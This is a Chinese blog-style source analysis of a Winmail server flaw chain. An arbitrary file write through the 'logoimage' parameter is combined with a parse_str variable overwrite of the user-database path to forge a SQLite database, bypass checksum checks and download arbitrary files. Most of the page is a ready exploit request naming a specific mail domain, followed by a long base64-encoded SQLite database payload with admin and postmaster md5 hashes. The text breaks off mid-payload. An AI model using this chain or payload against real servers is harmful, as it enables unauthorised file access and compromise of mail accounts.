首页 > 代码库 > winmail getshell源码分析（任意文件下载）
winmail getshell源码分析（任意文件下载）
http://www.tuicool.com/articles/BFZ7Rze 根据此链接分析
winmail中全局变量全部在./inc/config.php中定义。如果出现变量覆盖漏洞则可以覆盖任意全局变量。
根据作者思路先看wap.php这个文件。
switch ($dest){
case ‘index‘:
include(‘../wap/index.php‘);
break;
当wap.php?dest=index时调用index.php文件
观察index.php（位于../wap/index.php）
$logofile = ‘‘; //可忽略
if ($logoimage != ‘‘) { //文件
if (strncasecmp($logoimage, ‘jpg:‘, 4) == 0 || strncasecmp($logoimage, ‘gif:‘, 4) == 0
|| strncasecmp($logoimage, ‘png:‘, 4) == 0) { //判断文件后缀，取前三位作为后缀，与其他比较
$arrImage = explode(‘:‘, $logoimage); //将logoimage分为一个数组存到$arrImage
if (count($arrImage) == 3) { //如果arrimage有3个值
$logofile = $customizepath.$f_domain.‘_logo.‘.$arrImage[0]; //要保存的文件位置 把$arrimage[0]作为后缀， $f_domain是文件名一部分 $customizepath是文件路径（从全局取得）
if (!file_exists($logofile) || filemtime($logofile) <= floatval($arrImage[1])) { //如果文件不存在 则写入文件
$fullfile = $webmailhome_directory.$logofile;
file_put_contents($fullfile, base64_decode($arrImage[2]));
}
}
}
}
在这段代码中，可控变量有$logoimage $f_domain 控制$logoimage可控制文件后缀和文件内容，$f_domain可控制文件名
由此一个写入特定后缀文件的漏洞形成。但只局限于jpg gif png等。并不能得到权限。
在viewsharenetdisk.php中
if (isset($f)) {
$f = str_replace(‘ ‘, ‘+‘, $f);
$f = base64_decode($f);
parse_str($f);
}
parse_str存在变量覆盖漏洞。$f可被覆盖。 需要base64加密，之后的变量在没有重新赋值时便可任意控制
if ($chksun != ‘‘ || $filename != ‘‘) {
$item = ($chksum != ‘‘) ? $chksum : str_replace(‘ ‘, ‘+‘, $filename);
echo ‘aaa‘.md5($item.‘|‘.$userinfo[‘userid‘].‘|‘.$userinfo[‘createtime‘]).‘aaa‘; //判断itemcode是否相等
if ($itemcode != md5($item.‘|‘.$userinfo[‘userid‘].‘|‘.$userinfo[‘createtime‘])) {
$smarty->assign(‘errCode‘, 1);
$smarty->display($selected_theme.‘/netdisk-viewshare.htm‘);
exit;
}
}
}
...
...
if ($chksum != ‘‘) {
echo ‘$chksum:‘.md5($userid.‘|‘.$filename.‘|‘.$start).‘$chksum:‘;
if ($chksum != md5($userid.‘|‘.$filename.‘|‘.$start)) { //判断chksum是否相等
$smarty->assign(‘errCode‘, 2);
$smarty->display($selected_theme.‘/netdisk-viewshare.htm‘);
exit;
}
按照流程走下来。需要验证$chknum和$itemcode。 这两个变量可以覆盖，但是不知道userinfo的md5值。
网上看userinfo由
$domaininfo = load_domaininfo($domain);
$userinfo = load_userinfo($userid);
获得。
而sql中有new sqlite带入一个变量
inc/class.sqlitedb.php
function __construct($file) {
$this->dbfile = $file;
$this->Open();
}
inc/lib.php
function load_userinfo($name, $domain = null) {
if (is_null($domain)) {
$pos = strpos($name, ‘@‘);
if ($pos !== false) {
$domain = substr($name, $pos+1);
$name = substr($name, 0, $pos);
}
else {
$domain = ‘‘;
}
}
global $mailuser_dbfile;
echo $mailuser_dbfile;
$db = new SqliteDB($mailuser_dbfile);
这里的$file 由mailuser_dbfile传入。 mailuser_dbfile是在全局中定义的，此时可覆盖。
于是我们可以通过任意文件写入一个数据库，利用覆盖mailuser_dbfile得到一个新的数据库，此时数据库中的userindo便可控制。 据此可以达到任意文件下载的目的。
http://mail.jida.com.cn/wap.php?dest=index
logoimage=jpg:1.jpg:U1FMaXRlIGZvcm1hdCAzAAQAAQEAQCAgAAAXtgAAAAwAAAAIAAAAAwAAAHYAAAAEAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABe2AC3mCAUAAAABA/sAAAAABwP7A/YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQAgYXKysBWXRhYmxlc3FsaXRlX3NlcXVlbmNlc3FsaXRlX3NlcXVlbmNlBENSRUFURSBUQUJMRSBzcWxpdGVfc2VxdWVuY2UobmFtZSxzZXEpjXABBxcdHQGbM3RhYmxlbWFpbHVzZXJtYWlsdXNlcgJDUkVBVEUgVEFCTEUgW21haWx1c2VyXSAoDQpbdXNlcmlkXSBJTlRFR0VSICBQUklNQVJZIEtFWSBBVVRPSU5DUkVNRU5UIE5VTEwsDQpbbmFtZV0gVkFSQ0hBUig2NCkgIE5PVCBOVUxMLA0KW2RvbWFpbl0gVkFSQ0hBUig2NCkgIE5VTEwsDQpbcGFzc3dvcmRdIFZBUkNIQVIoNjQpICBOVUxMLA0KW2F1dGh0eXBlXSBUSU5ZSU5UICBOVUxMLA0KW3N0YXR1c10gVElOWUlOVCAgTlVMTCwNCltmdWxsbmFtZV0gVkFSQ0hBUigxMjgpICBOVUxMLA0KW2Rlc2NyaXB0aW9uXSBURVhUICBOVUxMLA0KW3B3ZHF1ZXN0aW9uXSBWQVJDSEFSKDI1NikgIE5VTEwsDQpbcHdkYW5zd2VyXSBWQVJDSEFSKDEyOCkgIE5VTEwsDQpbcHVibGljaW5mb10gVElOWUlOVCAgTlVMTCwNCltob21lYWRkcmVzc10gVkFSQ0hBUigyNTYpICBOVUxMLA0KW2hvbWVwaG9uZV0gVkFSQ0hBUigzMikgIE5VTEwsDQpbbW9iaWxlXSBWQVJDSEFSKDMyKSAgTlVMTCwNCltjb21wYW55XSBWQVJDSEFSKDEyOCkgIE5VTEwsDQpbam9idGl0bGVdIFZBUkNIQVIoMTI4KSAgTlVMTCwNCltvZmZpY2VdIFZBUkNIQVIoMTI4KSAgTlVMTCwNCltvZmZpY2VwaG9uZV0gVkFSQ0hBUigzMikgIE5VTEwsDQpbbWFpbHF1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c3RhdHVzXSBUSU5ZSU5ULCANCiAgW2Z1bGxuYW1lXSBWQVJDSEFSKDEyOCksIA0KICBbZGVzY3JpcHRpb25dIFRFWFQsIA0KICBbcHdkcXVlc3Rpb25dIFZBUkNIQVIoMjU2KSwgDQogIFtwd2RhbnN3ZXJdIFZBUkNIQVIoMTI4KSwgDQogIFtwdWJsaWNpbmZvXSBUSU5ZSU5ULCANCiAgW2hvbWVhZGRyZXNzXSBWQVJDSEFSKDI1NiksIA0KICBbaG9tZXBob25lXSBWQVJDSEFSKDMyKSwgDQogIFttb2JpbGVdIFZBUkNIQVIoMzIpLCANCiAgW2NvbXBhbnldIFZBUkNIQVIoMTI4KSwgDQogIFtqb2J0aXRsZV0gVkFSQ0hBUigxMjgpLCANCiAgW29mZmljZV0gVkFSQ0hBUigxMjgpLCANCiAgW29mZmljZXBob25lXSBWQVJDSEFSKDMyKSwgDQogIFttYWlscXVvdGFdIEJJR0lOVCwgDQogIFttYWlsY291bnRdIElOVCwgDQogIFtmdHBxdW90YV0gQklHSU5ULCANCiAgW2Z0cGNvdW50XSBJTlQsIA0KICBbd2FybmluZ2xpbWl0XSBUSU5ZSU5ULCANCiAgW3VzZWRtYWlscXVvdGFdIEJJR0lOVCwgDQogIFt1c2VkbWFpbGNvdW50XSBJTlQsIA0KICBbdXNlZGZ0cHF1b3RhXSBCSUdJTlQsIA0KICBbdXNlZGZ0cGNvdW50XSBJTlQsIA0KICBbbWFpbHN0b3JlcGF0aF0gVkFSQ0hBUigyNTYpLCANCiAgW2Z0cHN0b3JlcGF0aF0gVkFSQ0hBUigyNTYpLCANCiAgW3NlbmRjbwAAAAxQAgYXKysBWXRhYmxlc3FsaXRlX3NlcXVlbmNlc3FsaXRlX3NlcXVlbmNlBENSRUFURSBUQUJMRSBzcWxpdGVfc2VxdWVuY2UobmFtZSxzZXEpDQKtAAMBAQADmQEBAkICugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBbQMHFx8fAYMpdGFibGV1c2VyYWxpYXN1c2VyYWxpYXMFQ1JFQVRFIFRBQkxFIFt1c2VyYWxpYXNdICgNClt1c2VyaWRdIElOVEVHRVIgIFBSSU1BUlkgS0VZIEFVVE9JTkNSRU1FTlQgTlVMTCwNCltuYW1lXSBWQVJDSEFSKDY0KSAgTk9UIE5VTEwsDQpbZG9tYWluXSBWQVJDSEFSKDY0KSAgTlVMTCwNCltyZWFsdXNlcl2CPggHFx8fAYRLdGFibGV1c2VyYWxpYXN1c2VyYWxpYXMCQ1JFQVRFIFRBQkxFIFt1c2VyYWxpYXNdICgNCiAgW3VzZXJpZF0gSU5URUdFUiBQUklNQVJZIEtFWSBBVVRPSU5DUkVNRU5ULCANCiAgW25hbWVdIFZBUkNIQVIoNjQpIE5PVCBOVUxMLCANCiAgW2RvbWFpbl0gVkFSQ0hBUig2NCkgTk9UIE5VTEwsIA0KICBbcmVhbHVzZXJdIFZBUkNIQVIoMTI4KSwgDQogIFtkZXNjcmlwdGlvbl0gVkFSQ0hBUigyNTYpLCBbbWFpbGhvc3RdIFZBUkNIQVIoMTI4KSBOVUxMLCBbc3luY2FjdGlvbl0gVkFSQ0hBUigzMikgTlVMTCwgW3N5bmN0aW1lXSBCSUdJTlQgTlVMTClpCQcXJx8BgRlpbmRleGlueF9hbGlhc21haWx1c2VyYWxpYXMFQ1JFQVRFIElOREVYIFtpbnhfYWxpYXNtYWlsXSBPTiBbdXNlcmFsaWFzXSAoW25hbWVdIEFTQywgW2RvbWFpbl0gQVNDKQAAAOwXHx8BgyF0YWJsZXVzZXJhbGlhc3VzZXJhbGlhcwJDUkVBVEUgVEFCTEUgW3VzZXJhbGlhc10gKA0KICBbdXNlcmlkXSBJTlRFR0VSIFBSSU1BUlkgS0VZIEFVVE9JTkNSRU1FTlQsIA0KICBbbmFtZV0gVkFSQ0hBUig2NCkgTk9UIE5VTEwsIA0KICBbZG9tYWluXSBWQVJDSEFSKDY0KSBOT1QgTlVMTCwgDQogIFtyZWFsdXNlcl0gVkFSQ0hBUigxMjgpLCANCiAgW2Rlc2NyaXB0aW9uXSBWQVJDSEFSKDI1NikpZQcHFyUdAYEVaW5kZXhpbnhfdXNlcm1haWxtYWlsdXNlcgtDUkVBVEUgSU5ERVggW2lueF91c2VybWFpbF0gT04gW21haWx1c2VyXSAoW25hbWVdIEFTQywgW2RvbWFpbl0gQVNDKQAAAAAAAAACAAAACQAAAAoAAAAJAAAABUJJR0lOVCAgTlVMTCwNClt1c2VkbWFpbGNvdW50XSBJTlQgIE5VTEwsDQpbdXNlZGZ0cHF1b3RhXSBCSUdJTlQgIE5VTEwsDQpbdXNlZGZ0cGNvdW50XSBJTlQgIE5VTEwsDQpbbWFpbHN0b3JlcGF0aF0gVkFSQ0hBUigyNTYpICBOVUxMLA0KW2Z0cHN0b3JlcGF0aF0gVkFSQ0hBUigyNTYpICBOVUxMLA0KW3NlbmRjb250cm9sXSBUSU5ZSU5UICBOVUxMLA0KW3NlbmRkb21haW5saXN0XSBURVhUICBOVUxMLA0KW3JlY3Zjb250cm9sXSBUSU5ZSU5UICBOVUxMLA0KW3JlY3Zkb21haW5saXN0XSBURVhUICBOVUxMLA0KW3JpZ2h0c10gVkFSQ0hBUig2NCkgIE5VTEwsDQpbbWF4bXNnc2l6ZV0gSU5UICBOVUxMLA0KW3NlbmRmcmVxXSBJTlQgIE5VTEwsDQpbbG9jYWx0aW1lc10gSU5UICBOVUxMLA0KW2xvY2Fsc2l6ZV0gQklHSU5UICBOVUxMLA0KW3JlbW90ZXRpbWVzXSBJTlQgIE5VTEwsDQpbcmVtb3Rlc2l6ZV0gQklHSU5UICBOVUxMLA0KW3NtdHBhY2xdIFRFWFQgIE5VTEwsDQpbcG9wM2FjbF0gVEVYVCAgTlVMTCwNCltpbWFwYWNsXSBURVhUICBOVUxMLA0KW3dlYm1haWxhY2xdIFRFWFQgIE5VTEwsDQpbZnRwYWNsXSBURVhUICBOVUxMLA0KW2NoZ3Bhc3N3b3JkXSBUSU5ZSU5UICBOVUxMLA0KW2xhc3RjaGdwd2R0aW1lXSBCSUdJTlQgIE5VTEwsDQpbcHdkZXhwaXJlZGF5c10gSU5UICBOVUxMLA0KW2F1dG9yZXBseXN0YXR1c10gVElOWUlOVCAgTlVMTCwNCltmb3J3YXJkYWRkcl0gVEVYVCAgTlVMTCwNCltmd2RzYXZlY29weV0gVElOWUlOVCAgTlVMTCwNClttYWlsbm90aWZ5XSBUSU5ZSU5UICBOVUxMLA0KW3NwYW1hc3Nhc3Npbl0gVElOWUlOVCAgTlVMTCwNCltzcGFtZGVhbGluZ10gVElOWUlOVCAgTlVMTCwNCltleHBpcmV0aW1lXSBCSUdJTlQgIE5VTEwsDQpbY3JlYXRldGltZV0gQklHSU5UICBOVUxMLA0KW2xhc3R2aXNpdHRpbWVdIEJJR0lOVCAgTlVMTCwNCltwYXVzZXRpbWVdIEJJR0lOVCAgTlVMTCwNClttYXhyY3B0XSBJTlQgIE5VTEwNCikAAAAAQ0hBUigyNTYpLCANCiAgW2Z0cHN0b3JlcGF0aF0gVkFSQ0hBUigyNTYpLCANCiAgW3NlbmRjb250cm9sXSBUSU5ZSU5ULCANCiAgW3NlbmRkb21haW5saXN0XSBURVhULCANCiAgW3JlY3Zjb250cm9sXSBUSU5ZSU5ULCANCiAgW3JlY3Zkb21haW5saXN0XSBURVhULCANCiAgW3JpZ2h0c10gVkFSQ0hBUig2NCksIA0KICBbbWF4bXNnc2l6ZV0gSU5ULCANCiAgW3NlbmRmcmVxXSBJTlQsIA0KICBbbG9jYWx0aW1lc10gSU5ULCANCiAgW2xvY2Fsc2l6ZV0gQklHSU5ULCANCiAgW3JlbW90ZXRpbWVzXSBJTlQsIA0KICBbcmVtb3Rlc2l6ZV0gQklHSU5ULCANCiAgW3NtdHBhY2xdIFRFWFQsIA0KICBbcG9wM2FjbF0gVEVYVCwgDQogIFtpbWFwYWNsXSBURVhULCANCiAgW3dlYm1haWxhY2xdIFRFWFQsIA0KICBbZnRwYWNsXSBURVhULCANCiAgW2NoZ3Bhc3N3b3JkXSBUSU5ZSU5ULCANCiAgW2xhc3RjaGdwd2R0aW1lXSBCSUdJTlQsIA0KICBbcHdkZXhwaXJlZGF5c10gSU5ULCANCiAgW2F1dG9yZXBseXN0YXR1c10gVElOWUlOVCwgDQogIFtmb3J3YXJkYWRkcl0gVEVYVCwgDQogIFtmd2RzYXZlY29weV0gVElOWUlOVCwgDQogIFttYWlsbm90aWZ5XSBUSU5ZSU5ULCANCiAgW3NwYW1hc3Nhc3Npbl0gVElOWUlOVCwgDQogIFtzcGFtZGVhbGluZ10gVElOWUlOVCwgDQogIFtleHBpcmV0aW1lXSBCSUdJTlQsIA0KICBbY3JlYXRldGltZV0gQklHSU5ULCANCiAgW2xhc3R2aXNpdHRpbWVdIEJJR0lOVCwgDQogIFtwYXVzZXRpbWVdIEJJR0lOVCwgDQogIFttYXhyY3B0XSBJTlQsIFthdXRvYXJjaGl2ZV0gVkFSQ0hBUigxMjgpIE5VTEwsIFthdXRvY2xlYW51cF0gVkFSQ0hBUigxMjgpIE5VTEwsIFtzZWNyZXRsZXZlbF0gSU5UIE5VTEwsIFt3ZWl4aW5dIFZBUkNIQVIoMjU2KSBOVUxMLCBbZGluZ10gVkFSQ0hBUigyNTYpIE5VTEwsIFtvbGRwYXNzd29yZF0gVkFSQ0hBUigxMjgpIE5VTEwsIFttYWlsaG9zdF0gVkFSQ0hBUigxMjgpIE5VTEwsIFtvbGRtYWlsaG9zdF0gVkFSQ0hBUigxMjgpIE5VTEwpAAAAAEFSQ0hBUigyNTYpLCANCiAgW3NlbmRjb250cm9sXSBUSU5ZSU5ULCANCiAgW3NlbmRkb21haW5saXN0XSBURVhULCANCiAgW3JlY3Zjb250cm9sXSBUSU5ZSU5ULCANCiAgW3JlY3Zkb21haW5saXN0XSBURVhULCANCiAgW3JpZ2h0c10gVkFSQ0hBUig2NCksIA0KICBbbWF4bXNnc2l6ZV0gSU5ULCANCiAgW3NlbmRmcmVxXSBJTlQsIA0KICBbbG9jYWx0aW1lc10gSU5ULCANCiAgW2xvY2Fsc2l6ZV0gQklHSU5ULCANCiAgW3JlbW90ZXRpbWVzXSBJTlQsIA0KICBbcmVtb3Rlc2l6ZV0gQklHSU5ULCANCiAgW3NtdHBhY2xdIFRFWFQsIA0KICBbcG9wM2FjbF0gVEVYVCwgDQogIFtpbWFwYWNsXSBURVhULCANCiAgW3dlYm1haWxhY2xdIFRFWFQsIA0KICBbZnRwYWNsXSBURVhULCANCiAgW2NoZ3Bhc3N3b3JkXSBUSU5ZSU5ULCANCiAgW2xhc3RjaGdwd2R0aW1lXSBCSUdJTlQsIA0KICBbcHdkZXhwaXJlZGF5c10gSU5ULCANCiAgW2F1dG9yZXBseXN0YXR1c10gVElOWUlOVCwgDQogIFtmb3J3YXJkYWRkcl0gVEVYVCwgDQogIFtmd2RzYXZlY29weV0gVElOWUlOVCwgDQogIFttYWlsbm90aWZ5XSBUSU5ZSU5ULCANCiAgW3NwYW1hc3Nhc3Npbl0gVElOWUlOVCwgDQogIFtzcGFtZGVhbGluZ10gVElOWUlOVCwgDQogIFtleHBpcmV0aW1lXSBCSUdJTlQsIA0KICBbY3JlYXRldGltZV0gQklHSU5ULCANCiAgW2xhc3R2aXNpdHRpbWVdIEJJR0lOVCwgDQogIFtwYXVzZXRpbWVdIEJJR0lOVCwgDQogIFttYXhyY3B0XSBJTlQsIFthdXRvYXJjaGl2ZV0gVkFSQ0hBUigxMjgpIE5VTEwsIFthdXRvY2xlYW51cF0gVkFSQ0hBUigxMjgpIE5VTEwsIFtzZWNyZXRsZXZlbF0gSU5UIE5VTEwsIFt3ZWl4aW5dIFZBUkNIQVIoMjU2KSBOVUxMLCBbZGluZ10gVkFSQ0hBUigyNTYpIE5VTEwsIFtvbGRwYXNzd29yZF0gVkFSQ0hBUigxMjgpIE5VTEwsIFttYWlsaG9zdF0gVkFSQ0hBUigxMjgpIE5VTEwsIFtvbGRtYWlsaG9zdF0gVkF